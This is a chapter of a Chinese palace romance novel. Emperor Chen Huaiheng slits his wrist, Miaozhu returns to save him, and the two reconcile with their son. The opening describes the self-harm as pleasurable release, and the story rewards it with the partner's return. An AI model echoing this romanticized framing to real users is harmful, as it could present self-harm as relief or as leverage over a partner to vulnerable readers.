而后,再毫不犹豫割了下去。 看着那争先喷涌而出的血,陈怀衡竟从喉中痛快地发出一声低喘。 他将长臂伸展在桌上,他枕靠在了自己的手臂上,任由着血一点点地从他身体里面跑出,他的耳朵,似乎都能听到血液经由手臂,从他身体中流出的声音,他竟觉得难得的痛快。 这股痛快,将妙珠离开乾清宫的那种苦痛都冲刷了干净。 前路太暗了,看不到尽头。 她和他不一样,她应该光明,应该活在光里头,至死方休的活。 他迷迷蒙蒙觉得自己迷失在了濒死的快感中,可是,朦胧之中,他像是听到了一道道的声响。 门像是被人打开了,又像是有谁奔他而来。 昏暗中,濒死前,耳朵竟那样敏锐,那急匆匆的脚步声,在他的世界是那样的清晰。 他抬眼去看,却发现妙珠不知道是什么时候回来了。 她朝着他跑来,陈怀衡的视线由一点点的模糊变得清晰。 身上奔流不止的血,好像也在这一刻凝固住了。 周遭的所有都凝固住了,唯有向他奔来的妙珠是那样的生动。 妙珠离开了乾清宫后,可心中却越发觉得古怪,今日的陈怀衡哪里都好怪,那股古怪的感觉竟让她生出了几分不安,她脑子里面胡思乱想的,走至一半,再忍不住,扭头回了这里。 起先是快步走着,后来那股不安越发强烈,她竟再没忍住,跑了起来。 果不其然,一回来,就看到陈怀衡的手腕那里疯狂地流淌着血,那地上,也已经涌着一大摊的血了。 妙珠骂骂咧咧好几声,再不敢耽搁,跑了上去,不管不顾按住了他那冒血的手腕。 陈怀衡见到她回来,嘴角还去强撑着牵出一抹笑。 他的手腕被她用衣物死死按着,他已经快感受不到那处的知觉了。 他只是笑着说:“妙珠,你快走吧,你不知道,我是废了多大劲才放你走的,你快走吧。我怕活过来了,你又要走不掉了。” 他是鬼阿。 他就和鬼一样的穷追不舍。 所以,趁着他拼死下定决心放她走的时候,她快点跑吧。 妙珠哪里还听得进去他在说些什么,她此刻也终于看到了他手上那些交错的疤痕了。 她从没有机会看到陈怀衡手上的这些傷疤,毕竟他也藏得很好,没有想让她看见这恶心东西的意图。妙珠看得惊骇,骇得牙关紧咬,止不住地颤动,她一邊摁着他的伤口,一邊再没忍住,往陈怀衡脸上刮了一巴掌。 大概是吓的,她的声音都带了几分哭腔,她打完他,还骂他:“你寻死觅活的做些什么?说好让我走,结果自己在这里偷偷摸摸寻死,你死了,想置我于何地!你什么出息啊你,这世上谁离了谁还能活不了吗?!” 陈怀衡被打偏了头,却也没了任何的脾气,不知道是叫妙珠打疼了,还是委屈的,眼泪开始不停地掉。 “活不了就是活不了。” 他嘴唇一片白,人已经快虚弱地昏死过去了,可还是边哭边道:“我对不起你,我知道我不好,你不想和我在一起,我知道,都是我应得的我不该那样对你,我不该的妙珠,我不要你原谅我,可是你就当给我个机会成吗。我错了,你别这样狠心,别这样” 陈怀衡的眼泪比他的强权强迫有用太多。 尤其是眼泪和血一起流下的时候,湿哒哒地把人的心口都烫到了,这个时候,他说什么都让人找不出辩驳的理由。 许是叫自己气的,又许是叫陈怀衡气的,泪水顺着妙珠的面颊滚落,她不停地说着:“我讨厌你,讨厌死你了” 他总是有法子对付她,她都踏出乾清宫了,可又还是回来了,她自己也不争气,分明是他放的手,她竟又回来了。 陈怀衡也在不停地说:“是我对不起你,妙珠,是我对不起你” 妙珠听不下去,陈怀衡越来越虚弱了,她道:“你别说了,你不要再说了。” 他不可以死。 他这样死了,算什么事?以后小聿知道了,她又该怎么和他说?而且而且,他真的死了,她也并不能有多快意。 从前在宫里头的日子太苦了,苦不堪言,说都说不出来,可是现下,妙珠不知道什么时候再想起那些事,心中竟也没再那么泛酸,往事如涟漪,只是一圈一圈地在心口荡开了。 妙珠承认,他的死,并不会叫她快意。 他知道错了。 即使说知道错并不能改变那些过去发生的事实。 可是,妙珠也知道。 万事万物皆有尽头。 而尽头总也不能回头看。 妙珠大声喊着卿云,卿云听到里头的动静,进来后见到这幅情景也叫唬了一跳,赶忙去找来了太医。 太医来了后也被这幅情形弄得吓了一跳,他慌慌忙忙给陈怀衡包扎好了伤口。 陈怀衡这伤,说重不重,可再晚一些,那或许是真要丢了命的。 他也只能给他包一下伤口,再叮嘱他接下几日好好补一些气血。 留下了这话后,便也没再待,离开了此处,卿云也沉沉地叹了口气,也跟着出去了。 空荡荡的殿内一下子又只剩下他们二人。 陈怀衡嘴唇仍舊白得厉害,低着脑袋坐在椅上,妙珠就站在一旁,他们的身上都沾满了血。 妙珠大抵还是生气,就站在一旁瞪着他。 陈怀衡也知道她生气,不敢抬头看她。 她大抵是以为他又在寻死觅活做戏,口口声声说着放她走,结果呢,非要弄这么一出,岂不是故意恶心人。 陈怀衡垂首,哑 着嗓子开口,他道:“我没想过你会回来的” 他也真没想到她会回头。 妙珠冷冷地从喉中哼出一口气,看着他道:“我不回来你真就去死?” 陈怀衡终于仰头看她,他说:“你不知道,你根本不知道我那三年怎么过的,你让我往后几十年也那样过,我过不了。” 妙珠道:“这世上没有谁离了谁就活不了,我小妹死的时候我没死,我娘死的时候我也没死,我不要儿子我也能活,你何必把自己弄成这幅样子。” 再想起他那条小臂,她都仍旧骇得慌,怎么就非得把自己作践成这幅样子? 陈怀衡瓮声道:“我不闹了,不闹了明日我让人带你出去。” 妙珠横他一眼,道:“你差不多得了。” 妙珠丢下了这句话也不再说了,收回了目光,转身离开了这处,任由陈怀衡一人留在这里。 陈怀衡也有些摸不清她的意思,抿了抿唇,视线仍旧落在她离开的背影上面。 她这话的意思,是留下,还是离开? 陈怀衡不再想下去,低头看着自己一身的血,又看了看自己那叫人胆寒的小臂,他拉了拉衣袖,把这只丑陋的手臂包得严严实实的。 他也不知道妙珠方才看到这恶心的一面,有没有被吓到,心里头又会不会更嫌他 他有些烦躁地揉了把头发,也没再继续在这处坐下去。 一直到了深夜,两人也没再继续说起方才那事,妙珠一如既往躺在榻上,她没有开口说话,可呼吸声纷乱清浅,陈怀衡也知道她并没有睡着。 陈怀衡心绪不宁,也同样的难以入睡。 晚间那会割手的时候只觉得好痛快,现在被纱布缠上了之后那痛倒一点点地弥漫了上来。 “妙珠,我好疼啊。” 陈怀衡忽地出声,他的声音在黑暗之中故意带了几分孱弱气虚。 妙珠现在还记得陈怀衡先前那会鲜血横流的模样,一时之间也不知他是真的疼又还是故意做戏。 妙珠只是闷着声道:“疼也是你自己作的。” 他自己乐意这样作死,谁能拦得住他? 现在喊什么疼,疼也是他应得的。 陈怀衡见她没有不理他,便赶紧顺着杆子往上爬,他凑到她的身边,还再道:“妙珠,我好疼,你快可怜可怜我吧。” 陈怀衡现在明白了,当初他不给妙珠脸面,现在在妙珠面前也就落不得脸面。 不要了。 他不要了。 能哄妙珠开心,能哄妙珠回头,他就不要了。 妙珠一开始还在疑心他是真疼假疼,可现下一看他这幅模样便知是在做戏。 她转过了身去不睬他,道:“你少来同我做戏了。” 她又想到了他自毁的手,咬牙切齿地低声骂他:“你也知道疼,你既知道疼把手弄成那副样子做什么?!割的时候不知道疼,割完了就知道疼了?” 那么多的疤,新的旧的交错在一起,妙珠看着都疼。 她早说陈怀衡这人定是脑子有问题,有哪些个正常人能将自己弄成这幅样子? 陈怀衡见妙珠这样说,脑袋往她的脖颈里面钻:“我骗你的,我不疼了,你别骂我了。” 妙珠也不敢推他,怕一下子也给他又推出好歹来,她也不再说了,和他再说从前的事也没什么好说了。 剪不断理还乱的,说起来都跟着脑仁疼。 她只道:“你总是一时一副面孔,我都看不清你了。我刚回来的时候不是恨不得杀死我吗,现在又是这幅样子” 陈怀衡道:“我只是只是怕你再走,后来想明白了,也不敢闹了。妙珠,我没怨你,这三年,我就怨我自己。” 月光落在窗沿,光影斑驳,陈怀衡的脸色在黑暗之中也是那样的难堪。 他说:“我就只怨我自己,对不起你。” 说到这里,妙珠不再说了,陈怀衡也不再说了。 两人呼吸渐重,便这样慢慢睡了过去。 * 待到翌日,妙珠比陈怀衡早醒太多。 陈怀衡昨夜抱着妙珠,像是做了一个长久的梦,梦中,妙珠头也不回的离开他了,他说让她走,她就真头也不回的离开了,她就是梦中那道色彩艳绝的阳光,她离开后,他的世界,他的梦境都变得黑漆漆一片。 或许是这个梦境太过压抑,陈怀衡一直都被压得喘不上气,一早上竟怎么都醒不过来。 最后还是陈锦聿来喊醒的他。 锦聿晃着他的手臂,好不容易才把他晃醒。 “母亲呢。”陈怀衡醒来,就见他有些着急地问他,“父皇,母亲去哪里了?” 陈怀衡扭过头去看,才发现妙珠不知是什么时候已经不在身边了,旁边没有一丝温度,她离开也不是一时半会了。 他仍旧沉浸在方才的梦境之中,胸口仍旧是堵得慌,四下寻不到妙珠的身影,心也越发的沉了。 他喊来卿云去问,卿云说,妙珠一大早就和荣桃出宫去了。 出宫了 陈怀衡的心越发地乱,眉头也拧得愈深。 妙珠最后还是走了。 锦聿见陈怀衡如丧考妣的神情,恍惚间也意识到了什么,他的嗓音带着几分哭腔,看着陈怀衡道:“母亲是离开了吗” 母亲是又出宫了吗。 陈怀衡听着锦聿的声音,思绪也终于回笼,耳边喧嚣鸣叫越甚,他什么也不想说了,只是“嗯”了一声,而后又重新一头栽回了床上。 锦聿强忍着,最后忍不住,还是流出了眼泪。 他知道她有一天或许还会离开,可是,可是她这才回来几天啊! 她昨日明明也是那样高兴,可是为什么还是不要走了,还是不要他们了呢。 锦聿流着泪,陈怀衡现在也并不好受,他把锦聿拉到了床上,小小的锦聿就躺在他的身边。 陈怀衡胡乱给他抹了把眼泪,道:“没出息的样,哭什么哭,她总会回来看你的。” 锦聿瞥过头去瞧他,父皇说他没出息,可他有出息的话,又为什么要泪流满面呢? 锦聿没有问,他只是道:“她会回来看我?又是什么时候回来呢。” 他要等多久才能等到她呢。 陈怀衡道:“我怎么知道。” 他哪里读的懂她的心呢。 父子两人都不好受,他们也都不再说话,只是无言掉着眼泪。 也不知哭了多久,门外那处传来一阵动静,陈怀衡懒得回头看,妙珠走了,他仍旧沉浸其中,什么也不想管了。 锦聿扭过头去,就见是妙珠从外头往里面回。 她的手上还提着东西,看着只是出了趟宫买东西而已。 锦聿不敢置信地擦了擦眼睛,见到是妙珠之后马上弹坐起身。 他讷讷道:“母亲” 陈怀衡也马上坐起了身,扭头去看。 就见妙珠正往着他们这处走来。 没走吗 她没有离开。 妙珠弯腰,看着锦聿红彤彤的眼眶,道:“好孩子,怎么哭了呢?” 锦聿一下钻进了妙珠的怀中,带着泣声,道:“我以为母亲走了。” 妙珠摸了摸他的脑袋,道:“没有的事,突然想吃枣泥糕了,出了趟宫而已。” 妙珠是大约卯时那会就出了宫的,她和荣桃走在宫外,一道看着大街小巷,清晨时的街巷也颇为热闹,人来人往,包子铺、糕点铺的蒸炉掀开,散出一道道的人间烟火气,这是从前触不可及的东西。 可是不知怎么的,今早再见,竟也就那样了。 大抵是三年的日子过惯了? 妙珠走着走,便和荣桃走到了一家糕点铺前,她想起自己许久没吃过枣泥糕了,便买了一袋的枣泥糕回去。 她叹了口气,最后也还是回了宫。 小聿也还在呢。 她想。 母亲在身边,总是要好些的。 妙珠抱着锦聿安抚,抬眼又看陈怀衡。 他的眼睛也红得不像话。 妙珠轻笑了一声,道:“出息。” 他没出息。 她也没出息。 有出息就不回来了。 只最后也还是回来了。 心还是狠不下去。 逼死陈怀衡对她也没好处。 再信他一次吧。 真就最后一次了,妙珠想。 陈怀衡同她相视,最后也抱了上去,将他的妻儿抱进了怀中。 锦聿被夹在他们俩的中间,也不吭声,任由父亲隔着 他抱母亲。 陈怀衡的脑袋靠在她的肩上,问她道:“枣泥糕有我的份吗?” 妙珠道:“你不是不喜欢吃甜食吗?” 陈怀衡问:“所以没我的份吗?” 妙珠道:“有的。” 陈怀衡眉眼弯了几分,道:“那谢谢你了。” “真的很谢谢你了。” 年少时候不明白什么是爱,最后情深缘浅四字教他做了人。 总又觉妙珠是只小麻雀,可小麻雀飞啊飞,就见千里碧空,彩彻区明。 他们说着无关紧要的话,清晨的日光毫不吝啬地落进了乾清宫,将他们都照得亮堂堂的。 十八岁的陈怀衡看不起十六岁的妙珠。 二十四岁的陈怀衡恨不得把全天下的东西都塞到的妙珠手里。 她流光溢彩,可偏偏他一叶障目。 谢谢他好不容易翻过了那一道道阻人的山丘,妙珠又还愿意留在这里等他。【你现在阅读的是魔蝎小说 moxiexs】